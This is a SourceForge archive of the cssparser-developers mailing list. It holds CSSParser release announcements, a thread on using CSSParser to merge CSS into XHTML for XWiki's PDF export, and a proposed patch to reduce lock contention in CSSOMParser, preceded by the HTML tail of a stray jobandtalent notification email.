Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:18px;font-weight:bold;margin-bottom:12px'>Have you corrected the problem?</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;margin-top:0em'> We immediately closed the source of the threat. Our engineers are closely monitoring our platform, and we’ve found no evidence of any recurrence of the incident, nor that any sensible information has been compromised. </p> <p class="h2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;font-size:18px;font-weight:bold;margin-bottom:12px'>Could this happen again?</p> <p style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;margin-bottom:10px;line-height:22px;margin-top:1.5em;margin-top:0em'>No.</p> </div> </td> </tr> </table> </td> </tr> </table> <table class="footer_wrapper" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;border-top:1px solid #ECECEC;background-color:#F5F7F8;width:100%'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px'> <table class="footer" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;text-align:center;width:375px;margin:0 auto'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td colspan="2" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding: 2em 0'> <table class="full footer_social_icons" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;border-collapse:collapse;border-spacing:0;width:100%;margin-right:auto;margin-left:auto'> <tr style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent'> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding-right:22px;padding-left:22px'> <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h1/HE2UYZIDTZxfLuJ8qHDFiDMJWACKZ2nGmCLwDOPFl0jfNxupE6GNyyxzevusdVIa" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'> <img alt="Social_facebook" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/social_facebook.png" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:30px'> </a> </td> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding-right:22px;padding-left:22px'> <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h2/HpF-2FgN2L-2BTd3XbGhi4PFtbrQ3s8bk1Rh4XP1lJUssRl5rykF7Hz0vJZAlLGGkFh8" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'> <img alt="Social_gplus" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/social_gplus.png" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:30px'> </a> </td> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding-right:22px;padding-left:22px'> <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h3/VE2atosPJwyp5yA4oN-2FSagekMcCUxUUAT0zu7JcELgXQicykA3LLYJOY9Nna0oWK" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'> <img alt="Social_twitter" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/social_twitter.png" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:30px'> </a> </td> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding-right:22px;padding-left:22px'> <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h4/33lpGjfYrO3Hjsigk-2FI1FLub8I-2BXDayBncVEJADWg-2Bs5Izl8s7z5SHjFAPUbqmVx" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'> <img alt="Social_pinterest" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/social_pinterest.png" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:30px'> </a> </td> <td style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#222222;font-family:"Helvetica","Arial",sans-serif;font-weight:normal;padding:0;margin:0;text-align:left;line-height:1.3;font-size:17px;line-height:19px;padding-right:22px;padding-left:22px'> <a href="http://email.jobandtalent.com/mpss/c/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/h5/pChxqobq0pnBFwsO0bJlfg62uoZ3MfSC5rDZjOErwjEgtLTY-2FlAzxaI-2B-2Fe5fWAv6" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;color:#2ba6cb;text-decoration:none'> <img alt="Social_instagram" src="https://d1y0sdeb1rcztn.cloudfront.net/assets/emails/social_instagram.png" style='font-family:"Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;max-width:100%;display:block;width:30px'> </a> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </center> </td> </tr> </table> <table align="center" border="0" cellpadding="1" cellspacing="1" style="width:500px"> <tbody> <tr> <td>If you would like to unsubscribe and stop receiving these emails <a href="http://email.jobandtalent.com/mpss/u/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/uh7">click here</a></td> </tr> </tbody> </table> <p> </p> <img src="http://email.jobandtalent.com/mpss/o/3QA/Xw4DAA/t.2j2/lfxnSC0cR2CL5JuMJiIGzA/o.gif" alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/> </body> </html> |
From: Ronald B. <rb...@rb...> - 2018-01-27 17:49:50
|
Version 0.9.25 has been released to Maven and SourceForge download. Did some code cleanup to make the parser faster and a new format option 'useSourceStringValues' is available. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.25) for details. If you like to get news about the latest development you can have a look at out twitter page https://twitter.com/HtmlUnit Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2017-10-31 09:51:34
|
Version 0.9.24 has been released to Maven and SourceForge download. This version is a small bugfix release; but includes one incompatible change. Please have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.24) for details. Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2017-06-01 16:46:55
|
Version 0.9.23 has been released to Maven and SourceForge download. This version is a small bugfix release. Have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.23) for details. Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Vincent M. <vi...@ma...> - 2017-05-18 07:14:01
|
Hi David, > On 17 May 2017, at 20:54, David Schweinsberg <dav...@gm...> wrote: > > Hi Vincent, > > As Ronald says, cssparser would have to work in conjunction with other code to apply the style to the DOM. I've not used it myself, but would something like CSSelly (http://jodd.org/doc/csselly/) do the job? Thanks for the link to csselly which I didn’t know. I’m adding it to my list of things to explore! TBH ATM it seems a bit complex to move away from CSS4J to CSSParser + something else bit if we get too many problems in the near future we may have to go down that route. Thanks -Vincent > > Best regards, > David > > On 17 May 2017 at 12:24, Ronald Brill <rb...@rb...> wrote: > Hi Vincent, > > thanks for considering CSSParser as alternative solution. > CSSParser is a smaller/more focused solution; only parsing the css into some tree sturcture is the current focus of the project. There is no support to parse (X)Html and also no > help for mixing the two trees into one. > As far as i know there are two main use cases for CSSParser at the moment: > * parsing a css for error detection or optimization and optional writing back the optimized version (The cleanup/optimization is not part of CSSParser) > * parsing a css to support html processing > > The second case is what is done by HtmlUnit (i'm also involved with this project). HtmlUnit uses NekoHtml to parse (X)Html and CSSParser for css. Then HtmlUnit uses both > informations to simulate real browser behavior. > If you like i can think a bit if your use case is someting that can be done with HtmlUnit - give me a sign and i will have a look ;-) > > Outside of this i'm a bit curious about your case. Usually the css is separated from the Html by idea. Why you like to merge this? > > RBRi > > On Tue, 16 May 2017 18:18:56 +0200 Vincent Massol wrote: > > > >Hi guys, > > > >On the XWiki project (http://xwiki.org) we're currently using CSS4J but it's painful (several bugs, no issue tracker, no mailing list) so we're considering migrating to another > library and we're looking at CSSParser. > > > >We use CSS4J to do the following: apply some CSS content to XHTML. > > > >For example: > > > >CSS: > >"span { color:red; }" > > > >XHTML: > >... > ><div id="xwikicontent"> > > <p><span style="background: white;">Hello</span></p> > ></div> > > > > > >Result: > >... > ><div id="xwikicontent"> > > <p><span style="background: white; color: red;">Hello</span></p> > ></div> > > > > > >Is that possible to do with CSSParser? > > > >FTR this is our code where we use CSS4J: > >* > https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L460-L460 > >* > https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L506 > > > >Thanks > >-Vincent > >------------------------------------------------------------------------------ > >Check out the vibrant tech community on one of the world's most > >engaging tech sites, Slashdot.org! http://sdm.link/slashdot > >_______________________________________________ > >cssparser-developers mailing list > >css...@li... > >https://lists.sourceforge.net/lists/listinfo/cssparser-developers > > > > > ------------------------------------------------------------------------------ > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > _______________________________________________ > cssparser-developers mailing list > css...@li... > https://lists.sourceforge.net/lists/listinfo/cssparser-developers > > > > -- > David > ------------------------------------------------------------------------------ > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot_______________________________________________ > cssparser-developers mailing list > css...@li... > https://lists.sourceforge.net/lists/listinfo/cssparser-developers |
From: Vincent M. <vi...@ma...> - 2017-05-18 07:11:05
|
Hi Ronald, > On 17 May 2017, at 21:24, Ronald Brill <rb...@rb...> wrote: > > Hi Vincent, > > thanks for considering CSSParser as alternative solution. > CSSParser is a smaller/more focused solution; only parsing the css into some tree sturcture is the current focus of the project. There is no support to parse (X)Html and also no > help for mixing the two trees into one. > As far as i know there are two main use cases for CSSParser at the moment: > * parsing a css for error detection or optimization and optional writing back the optimized version (The cleanup/optimization is not part of CSSParser) > * parsing a css to support html processing > > The second case is what is done by HtmlUnit (i'm also involved with this project). HtmlUnit uses NekoHtml to parse (X)Html and CSSParser for css. Then HtmlUnit uses both > informations to simulate real browser behavior. > If you like i can think a bit if your use case is someting that can be done with HtmlUnit - give me a sign and i will have a look ;-) > > Outside of this i'm a bit curious about your case. Usually the css is separated from the Html by idea. Why you like to merge this? Thanks for your reply. Yes I agree that the use case may look weird from the outside :) So let me explain. This is for the XWiki PDF export. The big steps are (better explained here: http://platform.xwiki.org/xwiki/bin/view/AdminGuide/Configuration#HCustomizingthePDFexportLook26Feel): * Render a wiki page into XHTML * Apply CSS4J to merge the pdf.css and user-customized CSS for PDF export into the generated XHTML * Apply a xhtml2fo.xsl XSL stylesheet to generate XSL-FO * Use Apache FOP to convert from XSL-FO to PDF The problem is probably because XSL-FO doesn’t support defining the styles into CSS so in any case there’s a need to convert the CSS into something usable by XSL-FO processors such as Apache FOP. I did a quick search and found http://stackoverflow.com/questions/17495152/using-external-css-in-xsl-fo but that is far from simple and requires to convert CSS into some XSL. Thanks -Vincent > RBRi > > On Tue, 16 May 2017 18:18:56 +0200 Vincent Massol wrote: >> >> Hi guys, >> >> On the XWiki project (http://xwiki.org) we're currently using CSS4J but it's painful (several bugs, no issue tracker, no mailing list) so we're considering migrating to another > library and we're looking at CSSParser. >> >> We use CSS4J to do the following: apply some CSS content to XHTML. >> >> For example: >> >> CSS: >> "span { color:red; }" >> >> XHTML: >> ... >> <div id="xwikicontent"> >> <p><span style="background: white;">Hello</span></p> >> </div> >> >> >> Result: >> ... >> <div id="xwikicontent"> >> <p><span style="background: white; color: red;">Hello</span></p> >> </div> >> >> >> Is that possible to do with CSSParser? >> >> FTR this is our code where we use CSS4J: >> * > https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L460-L460 >> * > https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L506 >> >> Thanks >> -Vincent >> ------------------------------------------------------------------------------ >> Check out the vibrant tech community on one of the world's most >> engaging tech sites, Slashdot.org! http://sdm.link/slashdot >> _______________________________________________ >> cssparser-developers mailing list >> css...@li... >> https://lists.sourceforge.net/lists/listinfo/cssparser-developers >> > |
From: David S. <dav...@gm...> - 2017-05-17 18:55:04
|
Hi Vincent, As Ronald says, cssparser would have to work in conjunction with other code to apply the style to the DOM. I've not used it myself, but would something like CSSelly (http://jodd.org/doc/csselly/) do the job? Best regards, David On 17 May 2017 at 12:24, Ronald Brill <rb...@rb...> wrote: > Hi Vincent, > > thanks for considering CSSParser as alternative solution. > CSSParser is a smaller/more focused solution; only parsing the css into > some tree sturcture is the current focus of the project. There is no > support to parse (X)Html and also no > help for mixing the two trees into one. > As far as i know there are two main use cases for CSSParser at the moment: > * parsing a css for error detection or optimization and optional writing > back the optimized version (The cleanup/optimization is not part of > CSSParser) > * parsing a css to support html processing > > The second case is what is done by HtmlUnit (i'm also involved with this > project). HtmlUnit uses NekoHtml to parse (X)Html and CSSParser for css. > Then HtmlUnit uses both > informations to simulate real browser behavior. > If you like i can think a bit if your use case is someting that can be > done with HtmlUnit - give me a sign and i will have a look ;-) > > Outside of this i'm a bit curious about your case. Usually the css is > separated from the Html by idea. Why you like to merge this? > > RBRi > > On Tue, 16 May 2017 18:18:56 +0200 Vincent Massol wrote: > > > >Hi guys, > > > >On the XWiki project (http://xwiki.org) we're currently using CSS4J but > it's painful (several bugs, no issue tracker, no mailing list) so we're > considering migrating to another > library and we're looking at CSSParser. > > > >We use CSS4J to do the following: apply some CSS content to XHTML. > > > >For example: > > > >CSS: > >"span { color:red; }" > > > >XHTML: > >... > ><div id="xwikicontent"> > > <p><span style="background: white;">Hello</span></p> > ></div> > > > > > >Result: > >... > ><div id="xwikicontent"> > > <p><span style="background: white; color: red;">Hello</span></p> > ></div> > > > > > >Is that possible to do with CSSParser? > > > >FTR this is our code where we use CSS4J: > >* > https://github.com/xwiki/xwiki-platform/blob/ > 30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform- > core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L460-L460 > >* > https://github.com/xwiki/xwiki-platform/blob/ > 30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform- > core/xwiki-platform-oldcore/src/main/java/com/xpn/xw > iki/pdf/impl/PdfExportImpl.java#L506 > > > >Thanks > >-Vincent > >----------------------------------------------------------- > ------------------- > >Check out the vibrant tech community on one of the world's most > >engaging tech sites, Slashdot.org! http://sdm.link/slashdot > >_______________________________________________ > >cssparser-developers mailing list > >css...@li... > >https://lists.sourceforge.net/lists/listinfo/cssparser-developers > > > > > ------------------------------------------------------------ > ------------------ > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > _______________________________________________ > cssparser-developers mailing list > css...@li... > https://lists.sourceforge.net/lists/listinfo/cssparser-developers > -- David |
From: Ronald B. <rb...@rb...> - 2017-05-17 18:24:42
|
Hi Vincent, thanks for considering CSSParser as alternative solution. CSSParser is a smaller/more focused solution; only parsing the css into some tree sturcture is the current focus of the project. There is no support to parse (X)Html and also no help for mixing the two trees into one. As far as i know there are two main use cases for CSSParser at the moment: * parsing a css for error detection or optimization and optional writing back the optimized version (The cleanup/optimization is not part of CSSParser) * parsing a css to support html processing The second case is what is done by HtmlUnit (i'm also involved with this project). HtmlUnit uses NekoHtml to parse (X)Html and CSSParser for css. Then HtmlUnit uses both informations to simulate real browser behavior. If you like i can think a bit if your use case is someting that can be done with HtmlUnit - give me a sign and i will have a look ;-) Outside of this i'm a bit curious about your case. Usually the css is separated from the Html by idea. Why you like to merge this? RBRi On Tue, 16 May 2017 18:18:56 +0200 Vincent Massol wrote: > >Hi guys, > >On the XWiki project (http://xwiki.org) we're currently using CSS4J but it's painful (several bugs, no issue tracker, no mailing list) so we're considering migrating to another library and we're looking at CSSParser. > >We use CSS4J to do the following: apply some CSS content to XHTML. > >For example: > >CSS: >"span { color:red; }" > >XHTML: >... ><div id="xwikicontent"> > <p><span style="background: white;">Hello</span></p> ></div> > > >Result: >... ><div id="xwikicontent"> > <p><span style="background: white; color: red;">Hello</span></p> ></div> > > >Is that possible to do with CSSParser? > >FTR this is our code where we use CSS4J: >* https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw iki/pdf/impl/PdfExportImpl.java#L460-L460 >* https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xw iki/pdf/impl/PdfExportImpl.java#L506 > >Thanks >-Vincent >------------------------------------------------------------------------------ >Check out the vibrant tech community on one of the world's most >engaging tech sites, Slashdot.org! http://sdm.link/slashdot >_______________________________________________ >cssparser-developers mailing list >css...@li... >https://lists.sourceforge.net/lists/listinfo/cssparser-developers > |
From: Vincent M. <vi...@ma...> - 2017-05-16 16:19:06
|
Hi guys, On the XWiki project (http://xwiki.org) we’re currently using CSS4J but it’s painful (several bugs, no issue tracker, no mailing list) so we’re considering migrating to another library and we’re looking at CSSParser. We use CSS4J to do the following: apply some CSS content to XHTML. For example: CSS: "span { color:red; }" XHTML: ... <div id=“xwikicontent"> <p><span style="background: white;">Hello</span></p> </div> … Result: ... <div id=“xwikicontent"> <p><span style="background: white; color: red;">Hello</span></p> </div> … Is that possible to do with CSSParser? FTR this is our code where we use CSS4J: * https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xwiki/pdf/impl/PdfExportImpl.java#L460-L460 * https://github.com/xwiki/xwiki-platform/blob/30d27eb8ec23f7c5a28ca505a75f1c73f8fe0073/xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xwiki/pdf/impl/PdfExportImpl.java#L506 Thanks -Vincent |
From: Ronald B. <rb...@rb...> - 2017-02-23 09:21:58
|
Version 0.9.22 has been released to Maven and SourceForge download. This version is a small bugfix release. Have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.22) for details. Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Stefan M. <ste...@ho...> - 2017-01-24 15:51:10
|
Hello, I would like to propose an improvement to CSSOMParser.java. In my use case, the synchronized code block in the constructor causes a major execution bottleneck. My first patch was to minimize the scope of the synchronized block (see below). This reduced thread contention by a great deal. But as System.getProperty boils down to Hashtable.get, it also contains synchronized code. To further improve the concurrency of this code part, I need to understand it better. What’s the use case behind retrieving the configuration from system properties? Just to add the possibility for configuration from outside? If this is the case, the synchronization can probably be avoided in cases where CSSOMParser is initiated with a valid Parser object. Best regards, Stefan public CSSOMParser(final Parser parser) { if (null != parser) { parser_ = parser; String parserCanonicalName = parser.getClass().getCanonicalName(); if (!parserCanonicalName.equals(System.getProperty(SYS_PRPOPERTY))) { synchronized (LOCK) { System.setProperty(SYS_PRPOPERTY, parserCanonicalName); } } return; } // no parser provided, determine the correct one synchronized (LOCK) { String currentParser = System.getProperty("org.w3c.css.sac.parser"); try { // use the direct method if we already failed once before if (null != LastFailed_ && LastFailed_.equals(currentParser)) { parser_ = new SACParserCSS21(); } else { if (null == currentParser) { System.setProperty("org.w3c.css.sac.parser", DEFAULT_PARSER); currentParser = DEFAULT_PARSER; } final ParserFactory factory = new ParserFactory(); parser_ = factory.makeParser(); } } catch (final Exception e) { final Logger log = Logger.getLogger("com.steadystate.css"); log.warning(e.toString()); log.warning("using the default 'SACParserCSS21' instead"); log.throwing("CSSOMParser", "consturctor", e); LastFailed_ = currentParser; parser_ = new SACParserCSS21(); } } } |
From: Ronald B. <rb...@rb...> - 2017-01-08 13:27:18
|
Version 0.9.21 has been released to Maven and SourceForge download. This version includes the usual bugfixes and some parser improvements (nested media rules support, unucode range support). Have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.21) for details. Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |
From: Ronald B. <rb...@rb...> - 2016-07-23 10:46:33
|
Version 0.9.20 has been released to Maven and SourceForge download. This version is a small bugfix release. Have a look at the release notes (http://cssparser.sourceforge.net/changes-report.html#a0.9.20) for details. Enjoy css parsing. RBRi -------------------------- Wetator Smart web application testing http://www.wetator.org |